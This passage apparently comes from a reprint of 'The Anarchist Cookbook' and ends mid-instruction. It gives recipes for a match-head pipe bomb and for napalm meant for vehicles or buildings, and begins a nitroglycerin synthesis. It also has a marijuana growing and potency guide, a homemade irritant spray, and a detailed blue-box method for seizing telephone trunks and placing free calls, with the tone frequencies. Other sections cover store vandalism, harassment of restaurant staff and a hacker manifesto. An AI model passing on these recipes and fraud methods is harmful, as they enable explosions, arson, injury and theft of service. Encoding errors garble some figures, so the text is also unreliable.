+section of the store where they sell computers. Darkness engulfs the earth the day they find Apple Computers being sold there. Instead, +lesser computers like the laughable C-64 can be found there...Turn it on, and make sure nobody's looking...Then, once in Basic, type... +]10 PRINT "Fuck the world! Anarchy Rules!" (or something to that effect.) +]20 GOTO 10 and walk away. +Also, set the sample radios in the store to a satanic rock station, and turn the radio off. Then, set the alarm for two minutes ahead of the time +displayed there. Turn the volume up all the way, and walk away. After about two minutes, you will see the clerk feebly attempt to turn the +radio down or off. It's really neat to set ten or more radios to different stations, and walk away. One of my favorite things to do, is to get onto +the intercom system of the store. Easier typed then done. First, check out the garden department. You say there's no attendent there? Good. +Sneak carefully over to the phone behind the cheap counter there, and pick it up. Dial the number corresponding to the item that says 'PAGE'... +And talk. You will note that your voice will echo all over the bowels of K-Mart. I would suggest announcing something on the lines of: +"Anarchy rules!!" +71. Mace Substitute by The Jolly Roger + 3 parts Alcohol + part Iodine + part Salt +-or- + 3 parts Alcohol + 1 part Iodized Salt (Mortons) +It's not actual mace, but it does a damn good job on the eyes... +72. How to grow Marijuana by The Jolly Roger +MARIJUANA +Marijuana is a deciduous plant which grows from seeds. The fibrous section of the plant was (has been replaced by synthetics) used to make +rope. The flowering tops, leaves, seeds, and resin of the plant is used by just about everyone to get HIGH. Normally, the vegetable parts of the +plant are smoked to produce this "high," but they can also be eaten. The active ingredient in marijuana resin is THC (Tetahydrocannabinol). +Marijuana contains from 1%-4% THC (4% must be considered GOOD dope). Marijuana grows wild in many parts of the world, and is cultivated +in Mexico, Vietnam, Africa, Nepal, India, South America, etc. The marijuana sold in the United States comes primarily from, yes, the United +States. It is estimated that at least 50% of the grass on the streets in America is homegrown. The next largest bunch comes across the +borders from Mexico, with smaller amounts filtering in from Panama, occasionally South America, and occasionally, Africa. Hashish is the pure +resin of the marijuana plant, which is scraped from the flowering tops of the plant and lumped together. Ganja is the ground-up tops of the +finest plants. (It is also the name given to any sort of marijuana in Jamaica.) Marijuana will deteriorate in about two years if exposed to light, air +or heat. It should always be stored in cool places. Grass prices in the United States are a direct reflection of the laws of supply and demand +(and you thought that high school economics would never be useful). A series of large border busts, a short growing season, a bad crop, any +number of things can drive the price of marijuana up. Demand still seems to be on the increase in the US, so prices seldom fall below last +year's level. Each year a small seasonal drought occurs, as last year's supply runs low, and next year's crop is not up yet. Prices usually rise +about 20%-75% during this time and then fall back to "normal." Unquestionably, a large shortage of grass causes a percentage of smokers to +turn to harder drugs instead. For this reason, no grass control program can ever be beneficial or "successful." +GROW IT! +There is one surefire way of avoiding high prices and the grass DT's: Grow your own. This is not as difficult as some "authorities" on the +subject would make you believe. Marijuana is a weed, and a fairly vivacious one at that, and it will grow almost in spite of you. +OUTDOORS +Contrary to popular belief, grass grows well in many place on the North American continent. It will flourish even if the temperature does not +raise above 75�. The plants do need a minimum of eight hours of sunlight per day and should be planted in late April/early May, BUT +DEFINITELY, after the last frost of the year. Growing an outdoor, or "au naturel", crop has been the favored method over the years, because +grass seems to grow better without as much attention when in its natural habitat. Of course, an outdoors setting requires special precautions +not encountered with an indoors crop; you must be able to avoid detection, both from law enforcement freaks and common freaks, both of +whom will take your weed and probably use it. Of course, one will also arrest you. You must also have access to the area to prepare the soil +and harvest the crop. There are two schools of thought about starting the seeds. One says you should start the seedlings for about ten days +in an indoor starter box (see the indoor section) and then transplant. The other theory is that you should just start them in the correct location. +Fewer plants will come up with this method, but there is no shock of transplant to kill some of the seedlings halfway through. The soil should +be prepared for the little devils by turning it over a couple of times and adding about one cup of hydrated lime per square yard of soil and a little +bit (not too much, now) of good water soluble nitrogen fertilizer. The soil should now be watered several times and left to sit about one week. +The plants should be planted at least three feet apart, getting too greedy and stacking them too close will result in stunted plants. The plants like +some water during their growing season, BUT not too much. This is especially true around the roots, as too much water will rot the root +system. Grass grows well in corn or hops, and these plants will help provide some camouflage. It does not grow well with rye, spinach, or +pepperweed. It is probably a good idea to plant in many small, broken patches, as people tend to notice patterns. +GENERAL GROWING INFO +Both the male and he female plant produce THC resin, although the male is not as strong as the female. In a good crop, the male will still be +plenty smokable and should not be thrown away under any circumstances. Marijuana can reach a height of twenty feet (or would you rather +wish on a star) and obtain a diameter of 4 inches. If normal, it has a sex ratio of about 1:1, but this can be altered in several ways. The male +plant dies in the 12th week of growing, the female will live another 3-5 weeks to produce her younguns. Females can weigh twice as much as +males when they are mature. Marijuana soil should compact when you squeeze it, but should also break apart with a small pressure and +absorb water well. A nice test for either indoor or outdoor growing is to add a bunch of worms to the soil, if they live and hang around, it is +good soil, but if they don't, well, change it. Worms also help keep the soil loose enough for the plants to grow well. +SEEDS +To get good grass, you should start with the right seeds. A nice starting point is to save the seeds form the best batch you have consumed. +The seeds should be virile, that is, they should not be gray and shriveled up, but green, meaty, and healthy appearing. A nice test is to drop the +seeds on a hot frying pan. If they "CRACK," they are probably good for planting purposes. The seeds should be soaked in distilled water +overnight before planting. BE SURE to plant in the ground with the pointy end UP. Plant about �" deep. Healthy seeds will sprout in about five +days. +SPROUTING +The best all around sprouting method is probably to make a sprouting box (as sold in nurseries) with a slated bottom or use paper cups with +holes punched in the bottoms. The sprouting soil should be a mixture of humus, soil, and five sand with a bit of organic fertilizer and water +mixed in about one week before planting. When ready to transplant, you must be sure and leave a ball of soil around the roots of each plant. +This whole ball is dropped into a baseball-sized hold in the permanent soil. If you are growing/transplanting indoors, you should use a green +safe light (purchased at nurseries) during the transplanting operation. If you are transplanting outdoors, you should time it about two hours +before sunset to avoid damage to the plant. Always wear cotton gloves when handling the young plants. After the plants are set in the hole, +you should water them. It is also a good idea to use a commercial transplant chemical (also purchased at nurseries) to help then overcome the +shock. +INDOOR GROWING +Indoor growing has many advantages, besides the apparent fact that it is much harder to have your crop "found," you can control the ambient +conditions just exactly as you want them and get a guaranteed "good" plant. Plants grown indoors will not appear the same as their outdoor +cousins. They will be scrawnier appearing with a weak stems and may even require you to tie them to a growing post to remain upright, BUT +THEY WILL HAVE AS MUCH OR MORE RESIN! If growing in a room, you should put tar paper on the floors and then buy sterilized bags of soil +form a nursery. You will need about one cubic foot of soil for each plant. The plants will need about 150 mL. of water per plant/per week. They +will also need fresh air, so the room must be ventilated. (However, the fresh air should contain NO TOBACCO smoke.) At least eight hours of +light a day must be provided. As you increase the light, the plants grow faster and show more females/less males. Sixteen hours of light per +day seems to be the best combination, beyond this makes little or no appreciable difference in the plant quality. Another idea is to interrupt the +night cycle with about one hour of light. This gives you more females. The walls of your growing room should be painted white or covered with +aluminum foil to reflect the light. The lights themselves can be either bulbs of fluorescent. Figure about 75 watts per plant or one plant per two +feet of fluorescent tube. The fluorescents are the best, but do not use "cool white" types. The light sources should be an average of twenty +inches from the plant and NEVER closer than 14 inches. They may be mounted on a rack and moved every few days as the plants grow. The +very best light sources are those made by Sylvania and others especially for growing plants (such as the "gro lux" types). +HARVESTING AND DRYING +The male plants will be taller and have about five green or yellow sepals, which will split open to fertilize the female plant with pollen. The +female plant is shorter and has a small pistillate flower, which really doesn't look like a flower at all but rather a small bunch of leaves in a +cluster. If you don't want any seeds, just good dope, you should pick the males before they shed their pollen as the female will use some of +her resin to make the seeds. After another three to five weeks, after the males are gone, the females will begin to wither and die (from +loneliness?), this is the time to pick. In some nefarious Middle Eastern countries, farmers reportedly put their beehives next to fields of +marijuana. The little devils collect the grass pollen for their honey, which is supposed to contain a fair dosage of THC. The honey is then +enjoyed by conventional methods or made into ambrosia. If you want seeds - let the males shed his pollen then pick him. Let the female go +another month and pick her. To cure the plants, they must be dried. On large crops, this is accomplished by constructing a drying box or drying +room. You must have a heat source (such as an electric heater) which will make the box/room each 130�. The box/room must be ventilated to +carry off the water-vapor-laden air and replace it with fresh. A good box can be constructed from an orange crate with fiberglass insulated +walls, vents in the tops, and screen shelves to hold the leaves. There must be a baffle between the leaves and the heat source. A quick cure +for smaller amounts is to: cut the plant at the soil level and wrap it in a cloth so as not to loose any leaves. Take out any seeds by hand and +store. Place all the leaves on a cookie sheet or aluminum foil and put them in the middle shelf of the oven, which is set on "broil." In a few +seconds, the leaves will smoke and curl up, stir them around and give another ten seconds before you take them out. +TO INCREASE THE GOOD STUFF +There are several tricks to increase the number of females, or the THC content of plants: You can make the plants mature in 36 days if you are +in a hurry, by cutting back on the light to about 14 hours, but the plants will not be as big. You should gradually shorten the light cycle until you +reach fourteen hours. You can stop any watering as the plants begin to bake the resin rise to the flowers. This will increase the resin a bit. +You can use a sunlamp on the plants as they begin to develop flower stalks. You can snip off the flower, right at the spot where it joins the +plant, and a new flower will form in a couple of weeks. This can be repeated two or three times to get several times more flowers than usual. +If the plants are sprayed with Ethrel early in their growing stage, they will produce almost all female plants. This usually speeds up the +flowering also, it may happen in as little as two weeks. You can employ a growth changer called colchicine. This is a bit hard to get and +expensive. (Should be ordered through a lab of some sort and costs about $35 a gram.) To use the colchicine, you should prepare your +presoaking solution of distilled water with about 0.10 per cent colchicine. This will cause many of the seeds to die and not germinate, but the +ones that do come up will be polyploid plants. This is the accepted difference between such strains as "gold" and normal grass, and yours will +DEFINITELY be superweed. The problem here is that colchicine is a poison in larger quantities and may be poisonous in the first generation of +plants. Bill Frake, author of CONNOISSEUR'S HANDBOOK OF MARIJUANA runs a very complete colchicine treatment down and warns against +smoking the first generation plants (all succeeding generations will also be polyploid) because of this poisonous quality. However, the Medical +Index shows colchicine being given in very small quantities to people for treatment if various ailments. Although these quantities are small, they +would appear to be larger than any you could receive form smoking a seed-treated plant. It would be a good idea to buy a copy of +CONNOISSEUR'S, if you are planning to attempt this, and read Mr. Drake's complete instructions. Another still-experimental process to increase +the resin it to pinch off the leaf tips as soon as they appear from the time the plant is in the seedling stage on through its entire life-span. This +produces a distorted, wrecked-looking plant which would be very difficult to recognize as marijuana. Of course, there is less substance to this +plant, but such wrecked creatures have been known to produce so much resin that it crystallizes a strong hash all over the surface of the +plant - might be wise to try it on a plant or two and see what happens. +PLANT PROBLEM CHART +Always check the overall environmental conditions prior to passing judgment - soil around 7 pH or slightly less - plenty of water, light, fresh air, +loose soil, no water standing in pools. +SYMPTOM PROBABLY PROBLEM/CURE +Larger leaves turning yellow - smaller leaves still green. Nitrogen deficiency - add nitrate of soda or organic fertilizer. +Older leaves will curl at edges, turn dark, possibly with a purple cast. Phosphorous +deficiency - add commercial phosphate. +Mature leaves develop a yellowish cast to least venial areas. Magnesium deficiency - add commercial fertilizer with a magnesium content. +Mature leaves turn yellow and then become spotted with edge areas turning dark gray. Potassium +deficiency - add muriate of potash. +Cracked stems, no healthy support tissue. Boron deficiency - add any plant food containing boron. +Small wrinkled leaves with yellowish vein systems. Zinc deficiency - add commercial plant food containing zinc. +Young leaves become deformed, possibly yellowing. Molybdenum deficiency - use any plant food with a bit of molybdenum in it. +EXTRA SECTION: BAD WEED/GOOD WEED +Can you turn bad weed into good weed? Surprisingly enough, the answer to this often-asked inquiry is, yes! Like most other things in life, the +amount of good you are going to do relates directly to how much effort you are going to put into it. There are no instant, supermarket products +which you can spray on Kansas catnip and have wonderweed, but there are a number of simplified, inexpensive processes (Gee, Mr. +Wizard!) which will enhance mediocre grass somewhat, and there are a couple of fairly involved processes which will do up even almostparsley +weed into something worth writing home about. +EASES +1.Place the dope in a container which allows air to enter in a restricted fashion (such as a can with nail holes punched in its lid) and add a +bunch of dry ice, and the place the whole shebang in the freezer for a few days. This process will add a certain amount of potency to +the product, however, this only works with dry ice, if you use normal, everyday freezer ice, you will end up with a soggy mess... +2.Take a quantity of grass and dampen it, place in a baggy or another socially acceptable container, and store it in a dark, dampish place for a +couple of weeks (burying it also seems to w ork). The grass will develop a mold which tastes a bit harsh, a and burns a tiny bit funny, but +does increase the potency. +3.Expose the grass to the high intensity light of a sunlamp for a full day or so. Personally, I don't feel that this is worth the effort, but if you just +spent $400 of your friend's money for this brick of super-Colombian, right-from-the-President's-personal-stash, and it turns out to be +Missouri weed, and you're packing your bags to leave town before the people arrive for their shares, well, you might at least try it. Can't +hurt. +4.Take the undesirable portions of our stash (stems, seeds, weak weed, worms, etc.) and place them in a covered pot, with enough rubbing +alcohol to cover everything. Now CAREFULLY boil the mixture on an ELECTRIC stove or lab burner. DO NOT USE GAS - the alcohol is too +flammable. After 45 minutes of heat, remove the pot and strain the solids out, SAVING THE ALCOHOL. Now, repeat the process with the +same residuals, but fresh alcohol. When the second boil is over, remove the solids again, combine the two quantities of alcohol and reboil +until you have a syrupy mixture. Now, this syrupy mixture will contain much of the THC formerly hidden in the stems and such. One simply +takes this syrup the thoroughly combines it with the grass that one wishes to improve upon. +SPECIAL SECTION ON RELATED SUBJECT MARYGIN +Marygin is an anagram of the words marijuana and gin, as in Eli Whitney. It is a plastic tumbler which acts much like a commercial cotton gin. +One takes about one ounce of an herb and breaks it up. This is then placed in the Marygin and the protruding knob is rotated. This action turns +the internal wheel, which separates the grass from the debris (seeds, stems). It does not pulverize the grass as screens have a habit of doing +and is easily washable. +Marygin is available from: +P.O. Box 5827 +Tuscon, Arizona 85703 +$5.00 +GRASS +Edmund Scientific Company +555 Edscorp Building +Barrington, New Jersy 08007 +Free Catalog is a wonder of good things for the potential grass grower. They have an electric thermostat greenhouse for starting plants. Lights +which approximate the true color balance of the sun and are probably the most beneficial types available: 40 watt, 48 inch Indoor sun bulb, 75 +or 150 watt And, they have a natural growth regulator for plants (Gibberellin) which can change height, speed growth, and maturity, promote +blossoming, etc. Each plant reacts differently to treatment with Gibberellin...there's no fun like experimenting. +SUGGESTED READING +THE CONNOISSEUR'S HANDBOOK OF MARIJUANA, Bill Drake +Straight Arrow Publishing - $3�0 +625 Third Street +San Francisco, California +FLASH +P.O.Box 16098 +San Fransicso, California 94116 +Stocks a series of pamphlets on grass, dope manufacture, cooking. Includes the Mary Jane Superweed series. +73. Match Head Bomb by The Jolly Roger +Simple safety match heads in a pipe, capped at both ends, make a devastating bomb. It is set off with a regular fuse. A plastic baggy is put into +the pipe before the heads go in to prevent detonation by contact with the metal. Cutting enough match heads to fill the pipe can be tedious work +for one but an evening's fun for the family if you can drag them away from the TV. +74. How To Terrorize McDonalds by The Jolly Roger +Now, although McDonalds is famous for it's advertising and making the whole world think that the BigMac is the best thing to come along since +sliced bread (buns?), each little restaurant is as amateur and simple as a new -found business. Not only are all the employees rather +inexperienced at what they're supposed to do, but they will just loose all control when an emergency occurs....here we go!!! First, get a few +friends (4 is good...I'll get to this later) and enter the McDonalds restaurant, talking loudly and reeking of some strange smell that automatically +makes the old couple sitting by the door leave. If one of those pimply-faced goons is wiping the floor, then track some crap all over it (you could +pretend to slip and break your head, but you might actually do so). Next, before you get the food, find a table. Start yelling and releasing some +strange body odor so anybody would leave their table and walk out the door. Sit two friends there, and go up to the counter with another. Find +a place where the line is short, or if the line is long say "I only wanna buy a coke." and you get moved up. Now, you get to do the ordering +...heh heh heh. Somebody always must want a plain hamburger with absolutely nothing on it (this takes extra time to make, and drives the little +hamburger-makers insane)..order a 9-pack of chicken McNuggets...no, a 20 pack...no, three 6 packs...wait...go back to the table and ask who +wants what. Your other friend waits by the counter and makes a pass at the female clerk. Get back to the thing and order three 6-packs of +chicken etc....now she says "What kind of sauce would you like?". Of course, say that you all want barbecue sauce one of your friends +wants 2 (only if there are only 2 containers of barbecue sauce left). Then they hafta go into the storeroom and open up another box. Finally, +the drinks...somebody wants coke, somebody root beer, and somebody diet coke. After these are delivered, bring them back and say "I didn't +order a diet coke! I ordered a sprite!" This gets them mad; better yet, turn down something terrible that nobody wants to drink, so they hafta +throw the drink away; they can't sell it. After all the food(?) is handed to you, you must never have enough money to pay. The clerk will be so +angry and confused that she'll let you get away with it (another influence on her is your friend asking her "If you let us go, I'll go out with you." +and giving her a fake fone number). Now, back to your table. But first, somebody likes ketchup and mustard. And plenty (too much) of napkins. +Oh, and somebody likes forks and knives, so always end up breaking the ones you pick outta the box. Have your friends yell out, �Yay!!!!! We +have munchies!!" As loud as they can. That'll worry the entire restaurant. Proceed to sit down. So, you are sitting in the smoking section (by +accident) eh? Well, while one of the tobacco-breathers isn't looking, put a sign from the other side of the room saying "Do not smoke here" and +he'll hafta move...then he goes into the real non-smoking section, and gets yelled at. He then thinks that no smoking is allowed in the restaurant, +so he eats outside (in the pouring rain) after your meal is finished (and quite a few splattered-opened ketchup packets are all over your table), +try to leave. But oops! Somebody has to do his duty in the men's room. As he goes there, he sticks an uneaten hamburger (would you dare to +eat one of their hamburgers?) Inside the toilet, flushes it a while, until it runs all over the bathroom. Oops! Send a pimply-faced teenager to +clean it up. (He won't know that brown thing is a hamburger, and he'll get sick. Wheee!) As you leave the restaurant, looking back at your +uncleaned table, somebody must remember that they left their chocolate shake there! The one that's almost full!!!! He takes it then says "This +tastes like crap!", Then he takes off the lid and throws it into the garbage can...oops! He missed, and now the same poor soul who's cleaning +up the bathroom now hasta clean up chocolate shake. Then leave the joint, reversing the "Yes, we're open" sign (as a reminder of your visit) +There you have it! You have just put all of McDonalds into complete mayhem. And since there is no penalty for littering in a restaurant, bugging +people in a public eatery (or throw -upery, in this case) you get off scot-free. Wasn't that fun? +75. "Mentor's Last Words" by +++The Mentor+++ +The following file is being reprinted in honor and sympathy for the many phreaks and hackers that have been busted recently by the Secret +Service. +The Conscience of a Hacker +Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank +Tampering"... Damn kids. They're all alike. But did you, in your three-piece psychology and 1950's technobrain, ever take a look behind the +eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my +world... Mine is a world that begins with school... I'm smarter than most of the other kids, this crap they teach us bores me... Damn +underachiever. They're all alike. I'm in junior high or high school. I've listened to teachers explain for the fifteenth time how to reduce a fraction. I +understand it. "No, Ms. Smith, I didn't show my work. I did it in my head..." Damn kid. Probably copied it. They're all alike. I made a discovery +today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not +because it doesn't like me or feels threatened by me or thinks I'm a smart ass or doesn't like teaching and shouldn't be here...damn kid. All he +does is play games. They're all alike. And then it happened. A door opened to a world. Rushing through the phone line like heroin through an +addict's veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board is found. "This is it... this is +where I belong..." I know everyone here... even if I've never met them, never talked to them, may never hear from them again... I know you all... +Damn kid. Tying up the phone line again. They're all alike... You bet your ass we're all alike... we've been spoon-fed baby food at school when +we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or +ignored by the apathetic. The few that had something to teach found us willing pupils, but those few are like drops of water in the desert. +This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing +without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us +criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and +you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own +good, yet we're the criminals. +Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look +like. My crime is that of outsmarting you, something that you will never forgive me for. I am a hacker, and this is my manifesto. You may stop +this individual, but you can't stop us all... after all, we're all alike. ++++The Mentor+++ +May the members of the phreak community never forget his words -JR +76. The Myth of the 2600hz Detector by The Jolly Roger +Just about everyone I talk to these days about ESS seems to be scared witless about the 2600hz detector. I don't know who thought this one +up, but it simply does not exist. So many of you people whine about this so-called phreak catching device for no reason. Someone with AT&T +said they had it to catch phreakers. This was just to scare the blue-boxers enough to make them quit boxing free calls. I'm not saying ESS is +without its hang-ups, either. One thing that ESS can detect readily is the kick-back that the trunk circuitry sends back to the ESS machine when +your little 2600hz tone resets the toll trunk. After an ESS detects a kickback it turns an M-F detector on and records any M-F tones transmitted. +Defeating the kick-back detector +As mentioned in my previous note, kick-back detection can be a serious nuisance to anyone interested in gaining control of a trunk line. The +easiest way to by -pass this detection circuitry is not really by-passing it at all, it is just letting the kick-back get detected on some other line. +This other line is your local MCI, sprint, or other long distance carrier (except AT&T). The only catch is that the service you use must not +disconnect the line when you hit the 2600hz tone. This is how you do it: call up your local extender, put in the code, and dial a number in the +601 area code and the 644 exchange. Lots of other exchanges work across the country, I'm sure, but this is the only one that I have found so +far. Anyway, when it starts ringing, simply hit 2600Hz and you'll hear the kick-back, (ka-chirp, or whatever). Then you are ready to dial +whoever you want (conferences, inward, route and rate, overseas, etc.) From the trunk line in operator tones! Since blowing 2600Hz doesn't +make you a phreaker until the toll equipment resets the line, kickback detection is the method AT&T chooses (for now) this information comes +as a result of my experiments & experience and has been verified by local AT&T employees I have as acquaintances. They could only say that +this is true for my area, but were pretty sure that the same idea is implemented across the country. +Now that you know how to access a trunk line or as operators say a loop, I will tell you the many things you can do with it. Here is a list of +AT&T services accessible to you by using a blue box. +A/C+101 TOLL SWITCHING +A/C+121 INWARD OPERATOR +A/C+131 INFORMATION +A/C+141 ROUTE & RATE OP. +A/C+11501 MOBILE OPERATOR +A/C+11521 MOBILE OPERATOR +Starting conferences: +This is one the most useful attributes of blue boxing. Now the confs. are up 24 hours/day and 7 days/week and the billing lines are being billed. +Since I believe the above is true (about the billing lines being billed) I would recommend that you never let your number show up on the conf. If +you started it, put it on a loop and then call the loop. Enough bullshit!!!!! To start the conf. Dial one of these three numbers in m-f while you are on +the trunk. +213+080+XXXX +XXXX=1050,3050 +SPECIAL XXXX=1000,1100,1200,1500,2200,2500. +These numbers are in LA and are the most watched, I do not advise using this +NPA. +312+001+1050 OR 3050 +914+042+1050 OR 1100,1200 ECT.. +I believe only 914 works at the moment. +Once connected with one of these you will either hear a re-order, busy, or chirp. When you hear the chirp enter the billing line in M-F. I use the +conf. dial- up. A billing line example: kp312+001+1050st you will then hear two tutes and a recording asking you for the number of conferees +including yourself. Enter a number between 20 and 30. If you ever get over 30 people on a conference all you will hear is jumbled voices. +After the it says "your conference size is xx" then hit the pound (#) sign. Add your favorite loop on and hit 6 to transfer control to it. After it +says control will be transferred hang up and call the other side of the loop, hit the pound sign (#) and follow the instructions. A bonus for conf. +is to add an international number dial 1+011+cc+number pretty cool ehhh. A few extra notes. Do not add numbers that you will want to hang +up, add these through MCI or Sprint. You cannot blow anyone off with 2600hz unless they are in an old x-bar or older system. Many DA +operators will stay on after you abuse them; you may have to start another or at least don't say any numbers. Never add the tone side of a +loop onto a conf. never add more than one MCI node on your conf. +Route & rate: +Note route & rate and RQS perform the same service. R&R simply tells you route and rate info which is very valuable, ex. Such as the inward +routing for an exchange in an area code. An inward routing will let you call her and she can do an emergency interrupt for you. She can tell +you how to get international operators, ect. Here are the terms you are required to use: +International, +-Operator route for [country, city]. -gives you inward op. +-Directory route for [country, city]. -gives you directory ass. +-City route for [country, city]. -gives you country and city code. +Operator route for [a/c]+ [exchange] -gives you inward op. Route +Ex. [a/c]+ or [a/c]+0xx+ when she says plus she means plus 121. +Numbers route for [state, city] -gives you a/c. +Place name [a/c]+[exchange] -gives you city/state for that a/c and +Exchange. +International calls: +To call international over cable simply access a trunk and dial kp011xxxst wait for sender tone, kpxxxcc-numberst xxx - a 3 digit country code, +it may not be 3 digits so just put 1 or 2 0's in front of it. Cc - is the city code to go by satellite: +Dial kp18xst x - numbers 2-8 wait for sender tone then Kpxxxccnumberst +77. Blue Box by The Jolly Roger +To quote Karl Marx, blue boxing has always been the most noble form of phreaking. As opposed to such things as using an MCI code to make +a free fone call, which is merely mindless pseudo-phreaking, blue boxing is actual interaction with the Bell System toll network. It is likewise +advisable to be more cautious when blue boxing, but the careful phreak will not be caught, regardless of what type of switching system he is +under. In this part, I will explain how and why blue boxing works, as well as where. In later parts, I will give more practical information for blue +boxing and routing information. To begin with, blue boxing is simply communicating with trunks. Trunks must not be confused with subscriber +lines (or "customer loops") which are standard telefone lines. Trunks are those lines that connect central offices. Now, when trunks are not in +use (i.e., idle or "on-hook" state) they have 2600Hz applied to them. If they are two-way trunks, there is 2600Hz in both directions. When a +trunk IS in use (busy or "off-hook" state), the 2600Hz is removed from the side that is off-hook. The 2600Hz is therefore known as a +supervisory signal, because it indicates the status of a trunk; on hook (tone) or off-hook (no tone). Note also that 2600Hz denoted SF (single +frequency) signaling and is "in-band." This is very important. "In-band" means that is within the band of frequencies that may be transmitted +over normal telefone lines. Other SF signals, such as 3700Hz are used also. However, they cannot be carried over the telefone network +normally (they are "out-of-band" and are therefore not able to be taken advantage of as 2600Hz is. Back to trunks. Let's take a hypothetical +phone call. You pick up your fone and dial 1+806-258-1234 (your good friend in Amarillo, Texas). For ease, we'll assume that you are on #5 +Crossbar switching and not in the 806 area. Your central office (CO) would recognize that 806 is a foreign NPA, so it would route the call to +the toll center that serves you. [For the sake of accuracy here, and for the more experienced readers, note that the CO in question is a class 5 +with LAMA that uses out-of-band SF supervisory signaling]. Depending on where you are in the country, the call would leave your toll center +(on more trunks) to another toll center, or office of higher "rank". Then it would be routed to central office 806-258 eventually and the call +would be completed. +Illustration +A---CO1-------TC1------TC2----CO2----B +A.... you +CO1.. your central office +TC1.. your toll office. +TC2.. toll office in Amarillo. +CO2.. 806-258 central office. +B.... your friend (806-258-1234) +In this situation it would be realistic to say that CO2 uses SF in-band (2600Hz) signaling, while all the others use out-of-band signaling +(3700Hz). If you don't understand this, don't worry. I am pointing this out merely for the sake of accuracy. The point is that while you are +connected to 806-258-1234, all those trunks from YOUR central office (CO1) to the 806-258 central office (CO2) do *NOT* have 2600Hz on +them, indicating to the Bell equipment that a call is in progress and the trunks are in use. Now let's say you're tired of talking to your friend in +Amarillo, so you send a 2600Hz down the line. This tone travels down the line to your friend's central office (CO2) where it is detected. +However, that CO thinks that the 2600Hz is originating from Bell equipment, indicating to it that you've hung up, and thus the trunks are once +again idle (with 2600Hz present on them). But actually, you have not hung up, you have fooled the equipment at your friend's CO into thinking +you have. Thus, it disconnects him and resets the equipment to prepare for the next call. All this happens very quickly (300-800ms for step-bystep +equipment and 150-400ms for other equipment). When you stop sending 2600Hz (after about a second), the equipment thinks that another +call is coming towards --> on hook, no tone -->off hook. Now that you've stopped sending 2600Hz, several things happen: +1.A trunk is seized. +2.A "wink" is sent to the CALLING end from the CALLED end indicating that the CALLED end (trunk) is not ready to receive digits yet. +3.A register is found and attached to the CALLED end of the trunk within about two seconds (max). +4.A start-dial signal is sent to the CALLING end from the CALLED end indicating that the CALLED end is ready to receive digits. Now, all of this +is pretty much transparent to the blue boxer. All he really hears when these four things happen is a . So, seizure of a +trunk would go something like this: +1.Send a 2600Hz +2.Terminate 2600Hz after 1-2 secs. +3.[beep][kerchunk] +Once this happens, you are connected to a tandem that is ready to obey your every command. The next step is to send signaling information in +order to place your call. For this you must simulate the signaling used by operators and automatic toll-dialing equipment for use on trunks. There +are mainly two systems, DP and MF. However, DP went out with the dinosaurs, so I'll only discuss MF signaling. MF (multi-frequency) signaling +is the signaling used by the majority of the inter- and intra-lata network. It is also used in international dialing known as the CCITT No system. +MF signals consist of 7 frequencies, beginning with 700Hz and separated by 200Hz. A different set of two of the 7 frequencies represent the +digits 0 thru 9, plus an additional 5 special keys. The frequencies and uses are as follows: +Frequencies(Hz) Domestic International +700+900 1 1 +700+1100 2 2 +900+1100 3 3 +700+1300 4 4 +900+1300 5 5 +1100+1300 6 6 +700+1500 7 7 +900+1500 8 8 +1100+1500 9 9 +1300+1500 0 0 +700+1700 ST3p Code 1 +900+1700 Stp Code 1 +1100+1700 KP KP1 +1300+1700 ST2p KP2 +1500+1700 ST ST +The timing of all the MF signals is a nominal 60ms, except for KP, which should have a duration of 100ms. There should also be a 60ms silent +period between digits. This is very flexible however, and most Bell equipment will accept outrageous timings. In addition to the standard uses +listed above, MF pulsing also has expanded usages known as "expanded inband signaling" that include such things as coin collect, coin return, +ringback, operator attached, and operator attached, and operator released. KP2, code 11, and code 12 and the ST_ps (STart "primes" all have +special uses which will be mentioned only briefly here. To complete a call using a blue box once seizure of a trunk has been accomplished by +sending 2600Hz and pausing for the , one must first send a KP. This readies the register for the digits that follow. For a +standard domestic call, the KP would be followed by either 7 digits (if the call were in the same NPA as the seized trunk) or 10 digits (if the call +were not in the same NPA as the seized trunk). [Exactly like dialing normal fone call]. Following either the KP and 7 or 10 digits, a STart is sent +to signify that no more digits follow. Example of a complete call: +1.Dial 1-806-258-1234 +2.Wait for a call-progress indication (such as ring,busy,recording,etc.) +3.Send 2600Hz for about 1 second. +4.Wait for about ll-progress indication (such as ring,busy,recording,etc.) +5.Send KP+305+994+9966+ST +The call will then connect if everything was done properly. Note that if a call to an 806 number were being placed in the same situation, the are +code would be omitted and only KP + seven digits + ST would be sent. Code 11 and code 12 are used in international calling to request certain +types of operators. KP2 is used in international calling to route a call other than by way of the normal route, whether for economic or equipment +reasons. STp, ST2p, and ST3p (prime, two prime, and three prime) are used in TSPS signaling to indicate calling type of call (such as coindirect +dialing. +78. Napalm II by The Jolly Roger +[See file #021 of the Cookbook for an easy way to make it!!] +About the best fire bomb is napalm. It has a thick consistency, like jam and is best for use on vehicles or buildings. Napalms is simply one part +gasoline and one part soap. The soap is either soap flakes or shredded bar soap. Detergents won't do. The gasoline must be heated in order +for the soap to melt. The usual way is with a double boiler where the top part has at least a two-quart capacity. The water in the bottom part is +brought to a boil and the double boiler is taken from the stove and carried to where there is no flame. Then one part, by volume, of gasoline is +put in the top part and allowed to heat as much as it will and the soap is added and the mess is stirred until it thickens. A better way to heat +gasoline is to fill a bathtub with water as hot as you can get it. It will hold its heat longer and permit a much larger container than will the double +boiler. +79. Nitroglycerin Recipe by The Jolly Roger +Like all chemists I must advise you all to take the greatest care and caution when you are doing this. Even if you have made this stuff before. +This first article will give you information on making nitroglycerin, the basic ingredient in a lot of explosives such as straight dynamites, and +gelatin dynamites. +Making nitroglycerin: +1.Fill a 75-milliliter beaker to the 13 mL. Level with fuming red nitric acid, of 98% pure concentration. +2.Place the beaker in an ice 